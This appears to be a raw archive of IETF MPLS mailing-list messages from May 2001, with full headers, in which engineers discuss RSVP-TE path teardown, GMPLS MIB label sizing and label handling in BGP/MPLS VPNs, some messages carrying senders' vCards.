	Wed, 9 May 2001 17:42:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkohi06572
	for mpls-outgoing; Wed, 9 May 2001 17:42:24 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkohi06517
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:42:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohi07762
	for <mpls@UU.NET>; Wed, 9 May 2001 17:40:43 GMT
Received: from web8003.mail.in.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8003.in.yahoo.com [203.199.70.21])
	id QQkohi08260
	for <mpls@UU.NET>; Wed, 9 May 2001 17:40:42 GMT
Message-ID: <20010509174339.4976.qmail@web8003.mail.in.yahoo.com>
Received: from [169.144.84.57] by web8003.mail.in.yahoo.com; Wed, 09 May 2001 18:43:39 BST
Date: Wed, 9 May 2001 18:43:39 +0100 (BST)
From: =?iso-8859-1?q?Shankar?= <shankarananth@yahoo.co.in>
Subject: Re: disconnect connection
To: Hong Liao <hliao@telcordia.com>, David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
In-Reply-To: <OFC90C1A84.A7DEB996-ON85256A47.0060463E@cc.telcordia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit


--- Hong Liao <hliao@telcordia.com> wrote: > 
> David,
> 
> Hope I understand correctly.
> 
> 1.  If Ingress sends out Path, and Egress sends back
> Resv, the LSP is
> established.  If Ingress wants to tear down the
> connection, Ingress sends
> out PathTear to tear down connection.
> 
Correct.
> 2.  If Egress sends out Path message, but no Resv
> back from Egress router,
> the Egress should send out PathTear to clear the
> path state.
> 
Is it "Ingress sends out Path message" .....
"Egress should send out PathTear" ..?

> 3.  If Egress or LSR find there is failure, they
> will send out ResvErr, and
> Ingress send out PathTear to tear down the
> connection(basically clear the
> path and resv state).
> 
> Anyway Ingress is the one which will tear down the
> connection if there is
> one.  If the connection has not set up yet, for
> example, there is no Resv
> back after Path message was sent out, Ingress still
> need to send out
> PathTear to clear the Path state.

Here, you have it right.
shankar 
> 
> Thanks,
> 
> Julia
> 
> 
> 
> 
> 
> David Charlap <david.charlap@marconi.com> on
> 05/07/2001 04:03:21 PM
> 
> To:   mpls@UU.NET
> cc:    (bcc: Hong Liao/Telcordia)
> Subject:  Re: disconnect connection
> 
> 
> 
> Hong Liao wrote:
> >
> > I have questions for disconnecting(clear
> connection).
> >
> > 1. Suppose LSR received Path message from Ingress
> router, and LSR
> > sent out Resv message back.  If the LSR wanted to
> tear down this
> > session, it will send out ResvTear to Ingress
> router, and Ingress
> > router will take out the Resv state of LSR, and do
> not response
> > back anything, this session will be ended. I may
> wrong.
> 
> First of all, only an egress router should be
> generating ResvTear
> messages, unless there's a failure somewhere.  (In
> which case, various
> PathErr and ResvErr messages should also be
> generated.)  A transit
> router should not arbitrarily go around sending out
> teardown messages.
> 
> As a matter of fact, in the case of MPLS, since LSP
> creation is driven
> by the ingress router, only the ingress router
> should be doing any kind
> of tearing (not counting cleanup after failures.) 
> The ingress router,
> of course, can not generate a ResvTear, because it
> won't go anywhere.
> It will send a PathTear when it wants to destroy the
> LSP.
> 
> If an egress router sends ResvTear, the reservation
> will be removed.  If
> the ingress router doesn't subsequently tear the
> Path, however, the Path
> state will remain in the network.  This will waste
> bandwidth due to the
> refreshes for the unused state.  It may also result
> in wasted resources,
> since some switches may allocate resources during
> Path processing.
> 
> If a transit router tries to do this, it's even
> worse.  You end up with
> leftover Path state everywhere, and leftover
> reservations downstream of
> that transit router.
> 
> In general, ResvTear is not used in MPLS, except
> possibly in conjunction
> with PathErr messages.  There is no reason for a
> non- ingress router to
> tear an LSP except in the face of failures.
> 
> > 2. another way round, if there is LSR and it
> forwarded Path message
> > to Egress router, and Egress router sent back Resv
> message to LSR,
> > suppose the LSR wants to tear down this session,
> it will send out
> > the PathTear to the Egress router, and Egress
> router will move the
> > Path state of LSR, do not response anything, this
> session is ended.
> > Did I understand correct?
> 
> This is how an ingress router will tear an LSP.
> 
> If some router other than ingress does this,
> however, you will wind up
> with leftover Path state in all routers upstream of
> the LSR.  And until
> the Resv state times out, there will be leftover
> reservations on those
> nodes as well.
> 
> > 3. If the Ingress router sends out the Path
> message, but the no Resv
> >    message sent back from LSR, does Ingress router
> need to send out
> >    PathTear to clear the path state in case that
> this Path state has
> >    already been sent there.
> 
> Yes.  Path state (and all of the Path refreshing)
> will remain in place
> forever if it is not torn down.
> 
> > 4.  How about the transit router to try to
> clear/tear down the
> > session?
> 
> This should only happen if there is a failure (or
> perhaps preemption.)
> 
> In which case, it should send a PathErr upstream. 
> The ingress router,
> upon receiving this, may then choose to tear the LSP
> by sending a
> PathTear message.
> 
> If the failure is a broken link (where the attached
> router knows that a
> PathTear message can't get through to the downstream
> nodes), the Path
> state will timeout (due to lack of refreshes on that
> interface),
> resulting in the eventual transmission of PathTear.
> 
> The router should probably choose to immediately
> send the PathTear as an
> optimization (since a link failure will result in
> the nodes upstream of
> the failure tearing the state), but this isn't a
> hard requirement.
> 
> -- David
> 
> 
> 
> 


____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com


From owner-mpls@UU.NET  Wed May  9 13:45:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19082
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:45:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohj16156;
	Wed, 9 May 2001 17:45:26 GMT
Received: by mail-control.mail.uu.net 
	id QQkohi07367
	for mpls-outgoing; Wed, 9 May 2001 17:44:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkohi07326
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:44:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohi14518
	for <mpls@UU.NET>; Wed, 9 May 2001 17:43:45 GMT
From: wesam.alanqar@mail.sprint.com
Received: from damgwp01.corp.sprint.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: parker2.sprint.com [199.14.91.106])
	id QQkohi12956
	for <mpls@UU.NET>; Wed, 9 May 2001 17:43:44 GMT
Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93])
	by damgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id f49HsmF01289;
	Wed, 9 May 2001 12:54:48 -0500 (CDT)
Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73])
	by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id f49Hhhj12180;
	Wed, 9 May 2001 12:43:43 -0500 (CDT)
Received: from localhost (root@localhost)
	by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id MAA22407;
	Wed, 9 May 2001 12:43:43 -0500 (CDT)
X-OpenMail-Hops: 1
Date: Wed, 9 May 2001 12:43:42 -0500
Message-Id: <H00009880934b121.0989430221.kcopmp02@MHS>
Subject: Status of draf-stdenis-ms-over-mpls-00
MIME-Version: 1.0
TO: mpls@UU.NET
CC: pwe3@ietf.org
Content-Type: multipart/mixed; boundary="openmail-part-225174ca-00000001"
Sender: owner-mpls@UU.NET
Precedence: bulk


--openmail-part-225174ca-00000001
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
	;Creation-Date="Wed, 9 May 2001 12:43:42 -0500"
Content-Transfer-Encoding: 8bit

Can any body update me with the status of draft-stdenis-ms-over-mpls-00?

Any cooperation with Martini drafts?

Thanks.

------------------------------------------------------------------------
-----------
Wesam Alanqar         Member of Technical Staff
Technology Research Group (TR)
Technology Planning & Integration Dept. (TP&I)
Sprint
9300 Metcalf Avenue, KS 66212 
Phone: 913-534-5623 Work, Fax: 913-534-3485
------------------------------------------------------------------------
-----------
 

--openmail-part-225174ca-00000001
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="Wesam Alanqar (E-mail).vcf"
	;Creation-Date="Wed, 9 May 2001 12:43:42 -0500"
Content-Transfer-Encoding: base64

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpOOkFsYW5xYXI7V2VzYW0NCkZOOldlc2FtIEFs
YW5xYXIgKEUtbWFpbCkNCk9SRzpUZWNobm9sb2d5IFBsYW5uaW5nICYgSW50ZWdyYXRpb24t
U3ByaW50O1RlY2hub2xvZ3kgUGxhbm5pbmcgJiBJbnRlZ3JhdGlvbg0KVElUTEU6TWVtYmVy
IG9mIFRlY2huaWNhbCBTdGFmZg0KVEVMO1dPUks7Vk9JQ0U6KDkxMykgNTM0LTU2MjMNClRF
TDtXT1JLO0ZBWDooOTEzKSA1MzQtMzQ4NQ0KQURSO1dPUks6Ozg1MTs5MzAwIE1ldGNhbGYg
QXZlbnVlO092ZXJsYW5kIFBhcms7S1M7NjYyMTItMTQ2MztVbml0ZWQgU3RhdGVzIG9mIEFt
ZXJpY2ENCkxBQkVMO1dPUks7RU5DT0RJTkc9UVVPVEVELVBSSU5UQUJMRTo4NTE9MEQ9MEE5
MzAwIE1ldGNhbGYgQXZlbnVlPTBEPTBBT3ZlcmxhbmQgUGFyaywgS1MgNjYyMTItMTQ2Mz0w
RD0wQVVuaXRlZCBTPQ0KdGF0ZXMgb2YgQW1lcmljYQ0KRU1BSUw7UFJFRjtJTlRFUk5FVDp3
ZXNhbS5hbGFucWFyQG1haWwuc3ByaW50LmNvbQ0KUkVWOjIwMDEwMTI5VDE4MjEyN1oNCkVO
RDpWQ0FSRA0K

--openmail-part-225174ca-00000001--



From owner-mpls@UU.NET  Wed May  9 14:56:06 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21453
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 14:56:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohn21314;
	Wed, 9 May 2001 18:55:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkohn03303
	for mpls-outgoing; Wed, 9 May 2001 18:54:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkohn03298
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 18:54:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkohn19847
	for <mpls@uu.net>; Wed, 9 May 2001 18:52:57 GMT
Received: from exchange01.movaz.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.47.82.134])
	id QQkohn19119
	for <mpls@uu.net>; Wed, 9 May 2001 18:52:57 GMT
Received: from BLIULAPTOP ([64.47.72.35]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Wed, 9 May 2001 14:50:00 -0400
Message-ID: <007c01c0d8b8$d9c8c710$23482f40@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: <djoyal@quantumbridge.com>, <mpls@UU.NET>, <ccamp@ops.ietf.org>
Cc: "Edward Harrison" <eph@dataconnection.com>, <th@dataconnection.com>,
        "Thomas D. Nadeau" <tnadeau@cisco.com>, <cheenu@optosphere.com>,
        <arun@force10networks.com>
References: <36FB26FEDE20D511BA9C00508BE050B47DC540@quantumexch.qb.local>
Subject: Re: GMPLS TE MIB
Date: Wed, 9 May 2001 14:49:56 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 09 May 2001 18:50:00.0736 (UTC) FILETIME=[D9E10A00:01C0D8B8]
Sender: owner-mpls@UU.NET
Precedence: bulk

Thanks Dan,

Yes, we're aware of this issue and are discussing it.  The current 64 bit field
is something of a place holder.

Our concerns are
- to allow flexible configuration of different label types
- to keep the MIB from sprawling
- to arrive at a label type that can be used to index a GMPLS LSR MIB

Best regards,
Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com
----- Original Message -----
From: <djoyal@quantumbridge.com>
To: <afarrel@movaz.com>; <mpls@UU.NET>; <ccamp@ops.ietf.org>
Sent: Wednesday, May 09, 2001 1:12 PM
Subject: RE: GMPLS TE MIB


> Hi Adrian,
>
>  The SYNTAX of the MplsGeneralizedLabel TC specifies a fixed length of
> 64 bits. This conflicts with the GMPLS functional specification which
> defines a generalized label as being of variable length. The SYNTAX
> is inconsistent with the length of the Waveband label, for example.
>
> -Dan





From owner-mpls@UU.NET  Wed May  9 15:09:14 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA21908
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 15:09:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoho24508;
	Wed, 9 May 2001 19:08:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkoho15424
	for mpls-outgoing; Wed, 9 May 2001 19:07:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoho15227
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 19:07:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoho10352
	for <mpls@UU.NET>; Wed, 9 May 2001 19:07:36 GMT
Received: from dnsmx1rrc.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQkoho23292
	for <mpls@UU.NET>; Wed, 9 May 2001 19:07:36 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id PAA05528;
	Wed, 9 May 2001 15:03:23 -0400 (EDT)
Subject: Re: disconnect connection
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Wed, 9 May 2001 15:03:47 -0400
Message-ID: <OF98615F6B.9B14AF45-ON85256A47.0068B3DB@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/09/2001 03:03:47 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Sorry to confuse you.

For the second question, I mean the Ingress will send out the PathTear
message out.

Julia




David Charlap <david.charlap@marconi.com> on 05/09/2001 01:30:01 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: disconnect connection



Hong Liao wrote:
>
> Hope I understand correctly.
>
> 1.  If Ingress sends out Path, and Egress sends back Resv, the LSP
> is established.  If Ingress wants to tear down the connection,
> Ingress sends out PathTear to tear down connection.

Yes.

> 2.  If Egress sends out Path message, but no Resv back from Egress
> router, the Egress should send out PathTear to clear the path state.

This makes absolutely no sense whatsoever.  The egress node can't send
out a Path message.  Where do you think it is going to send this message
to?

> 3.  If Egress or LSR find there is failure, they will send out
> ResvErr, and Ingress send out PathTear to tear down the connection
> (basically clear the path and resv state).

Yes.  Failures are reported with error messages.  Teardowns should be
initiated by the ingress.  The only exception being when it is known
that the ingress's tear message can't get through, and that it will be
torn anyway.  (eg. the node just downstream of a link failure.)

> Anyway Ingress is the one which will tear down the connection if
> there is one.  If the connection has not set up yet, for example,
> there is no Resv back after Path message was sent out, Ingress
> still need to send out PathTear to clear the Path state.

Yes.

-- David






From owner-mpls@UU.NET  Wed May  9 15:30:55 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22519
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 15:30:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohq21137;
	Wed, 9 May 2001 19:30:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkohq26261
	for mpls-outgoing; Wed, 9 May 2001 19:30:03 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkohp26222
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 19:29:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohp04148
	for <mpls@uu.net>; Wed, 9 May 2001 19:28:28 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkohp26115
	for <mpls@uu.net>; Wed, 9 May 2001 19:28:28 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id PAA03991 for mpls@uu.net; Wed, 9 May 2001 15:28:28 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkohp24134
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 19:15:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoho00066
	for <mpls@uu.net>; Wed, 9 May 2001 19:13:37 GMT
Received: from father.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQkoho14321
	for <mpls@uu.net>; Wed, 9 May 2001 19:13:37 GMT
Received: (qmail 4682 invoked by uid 104); 9 May 2001 19:13:36 -0000
Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.433974 secs); 09/05/2001 12:13:36
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by father.pmc-sierra.bc.ca with SMTP; 9 May 2001 19:13:35 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f49JDZ111255
	for <mpls@uu.net>; Wed, 9 May 2001 12:13:35 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJAB3R>; Wed, 9 May 2001 12:16:16 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C38@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 12:16:14 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0D8BC.84359810"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0D8BC.84359810
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

In an BGP/MPLS VPN scenario if a CE router sends an MPLS packet rather than an IP packet to a PE router, the PE router should still push 2 labels. My question is, should the PE router swap the customer's label too or leave it unchanged?

Yours,
-Shahram


------_=_NextPart_000_01C0D8BC.84359810
Content-Type: application/octet-stream;
	name="Shahram Davari.vcf"
Content-Disposition: attachment;
	filename="Shahram Davari.vcf"

BEGIN:VCARD
VERSION:2.1
N:Davari;Shahram
FN:Shahram Davari
ORG:PMC-Sierra, Inc.;R&D Research Ottawa-109203
TITLE:Product Research Engineer
TEL;WORK;VOICE:+1 613 271 4018
ADR;WORK:;Ottawa;Kanata Research Park, Suite 834, Office Tower B, 555 Legget Drive;Kanata;Ontario;K2K 2X3;Canada
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Ottawa=0D=0AKanata Research Park, Suite 834, Office Tower B, 555 Legget Driv=
e=0D=0AKanata, Ontario K2K 2X3=0D=0ACanada
EMAIL;PREF;INTERNET:Shahram_Davari@pmc-sierra.com
REV:20010112T213717Z
END:VCARD

------_=_NextPart_000_01C0D8BC.84359810--



From owner-mpls@UU.NET  Wed May  9 15:56:09 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23124
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 15:56:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohr21700;
	Wed, 9 May 2001 19:55:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkohr29024
	for mpls-outgoing; Wed, 9 May 2001 19:54:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkohr29015
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 19:54:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohr04804
	for <mpls@UU.NET>; Wed, 9 May 2001 19:54:15 GMT
Received: from nfl.METERA.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: nfl.metera.com [63.114.212.50])
	id QQkohr19871
	for <mpls@UU.NET>; Wed, 9 May 2001 19:54:15 GMT
Received: from slapshot.metera.com ([12.19.1.154]) by nfl.METERA.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id J452X6GB; Wed, 9 May 2001 14:55:14 -0500
Received: from nyknicks.metera.com (nyknicks [12.19.1.5])
	by slapshot.metera.com (8.9.3+Sun/8.9.1) with ESMTP id OAA06856
	for <mpls@UU.NET>; Wed, 9 May 2001 14:54:14 -0500 (CDT)
Received: from metera.com (localhost [127.0.0.1])
	by nyknicks.metera.com (8.9.3+Sun/8.9.1) with ESMTP id OAA24708
	for <mpls@UU.NET>; Wed, 9 May 2001 14:54:12 -0500 (CDT)
Message-ID: <3AF9A064.8EB44E48@metera.com>
Date: Wed, 09 May 2001 14:54:12 -0500
From: Gopal Jayaraman <Gopal.Jayaraman@metera.com>
Organization: Metera Networks
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
CC: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: BGP/MPLS VPN PE LSR
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C38@BBY1EXM01>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

shahram,

the PE that is connected to the final CE, uses the second label
to identify which CE/CE port it has to be deliverd. The whole mpls
header is trimmed before delivering to CE.

Once the CE port is identified, packet is deliverd as raw IPv4 to
the CE by the PE. The second label is not looked up by any of the
intermediate P nodes. PE is typically a egress node.


-Gopal.



Shahram Davari wrote:
> 
> Hi,
> 
> In an BGP/MPLS VPN scenario if a CE router sends an MPLS packet rather than an IP packet to a PE router, the PE router should still push 2 labels. My question is, should the PE router swap the customer's label too or leave it unchanged?
> 
> Yours,
> -Shahram


From owner-mpls@UU.NET  Wed May  9 16:08:12 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23396
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 16:08:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohs11763;
	Wed, 9 May 2001 20:07:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkohs10545
	for mpls-outgoing; Wed, 9 May 2001 20:06:23 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohs10412
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 20:06:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohs23700
	for <mpls@uu.net>; Wed, 9 May 2001 20:04:26 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkohs08717
	for <mpls@uu.net>; Wed, 9 May 2001 20:04:25 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA08415 for mpls@uu.net; Wed, 9 May 2001 16:04:25 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohs00118
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 20:00:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohr07874
	for <mpls@uu.net>; Wed, 9 May 2001 19:59:02 GMT
Received: from mother.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkohr02423
	for <mpls@uu.net>; Wed, 9 May 2001 19:59:02 GMT
Received: (qmail 5125 invoked by uid 104); 9 May 2001 19:59:01 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.413023 secs); 09/05/2001 12:59:00
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 9 May 2001 19:59:00 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f49Jx0117942;
	Wed, 9 May 2001 12:59:00 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJACK5>; Wed, 9 May 2001 13:01:41 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C3A@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Gopal Jayaraman'" <Gopal.Jayaraman@metera.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Wed, 9 May 2001 13:01:40 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Gopal,

But I was talking of having 3 labels. The bottom most label belonging to the customer, the second label being the VPN label and the top label being the MPLS routing label. Does the PE swap the bottom most label?

-Shahram

> -----Original Message-----
> From: Gopal Jayaraman [mailto:Gopal.Jayaraman@metera.com]
> Sent: Wednesday, May 09, 2001 3:53 PM
> To: Shahram Davari
> Subject: Re: BGP/MPLS VPN PE LSR
> 
> 
> shahram,
> 
> the PE that is connected to the final CE, uses the second label
> to identify which CE/CE port it has to be deliverd. The whole mpls
> header is trimmed before delivering to CE.
> 
> Once the CE port is identified, packet is deliverd as raw IPv4 to
> the CE by the PE. The second label is not looked up by any of the
> intermediate P nodes. PE is typically a egress node.
> 
> 
> -Gopal.
> 
> Shahram Davari wrote:
> > 
> > Hi,
> > 
> > In an BGP/MPLS VPN scenario if a CE router sends an MPLS 
> packet rather than an IP packet to a PE router, the PE router 
> should still push 2 labels. My question is, should the PE 
> router swap the customer's label too or leave it unchanged?
> > 
> > Yours,
> > -Shahram
> 



From owner-mpls@UU.NET  Wed May  9 16:25:49 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
